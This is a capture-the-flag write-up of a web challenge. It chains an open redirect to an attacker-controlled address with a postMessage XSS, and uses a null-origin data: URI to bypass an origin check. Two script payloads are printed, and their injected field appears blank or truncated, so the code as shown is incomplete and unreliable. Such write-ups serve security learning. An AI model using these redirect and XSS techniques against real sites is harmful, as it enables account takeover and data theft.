I spent far too long going in the wrong direction for this task. I found an unintended vulnerability, which I thought was the solution, but this was later patched during the challenge.

### Initial (Unintended) Solution

I found that if you updated your profile information to contain an XSS payload, you could trigger a (self) XSS when visiting the home page. This combined with a CSRF exploit to update the profile information could potentially be used to gain XSS from the admin. However this vulnerability was patched before I could get the flag.

### My Actual Solution

The admin would now only visit pages coming from the challenge host. To get around this an open redirect vulnerability was found as seen below:
`http://51.15.73.163:13337/redirect.php?url=http://myip&h=341cd45197fd184ef27833a1fe316dd9`
Note `h` is the MD5 hash of the `url` value.

This challenge was also exploited using the `window.postMessage` XSS however the page now validated that the request came from the same origin. To exploit this we used a data URI XSS which has a null origin and bypasses the origin validation. This is shown below:

#### Payload Stage 1

The first payload triggers an XSS in the user's browser which then loads another JavaScript payload using the `data:URI`.

```
<script>
var call_window;
call_window = window.open("http://51.15.73.163:13336/call.php");
console.log(call_window);
setTimeout(function(){
call_window.postMessage({
type: "audio",
details: {
sender_username: "testuser2",
sender_team_name: "test",
receiver_username:"


aaaaaaa",
receiver_team_name: 'aa'
}
}, "*");
}, 1000);

</script>
```

#### Payload Stage 2

The base64 decoded payload is as follows:

```
<script>var call_window;
call_window = window.open("http://localhost/call.php");
console.log(call_window);
setTimeout(function(){
call_window.postMessage({
type: "audio",
details: {
sender_username: "testuser2",
sender_team_name: "test",
receiver_username:"


aaaaaaa",
receiver_team_name: 'aa'
}
}, "*");
}, 1000);</script>
```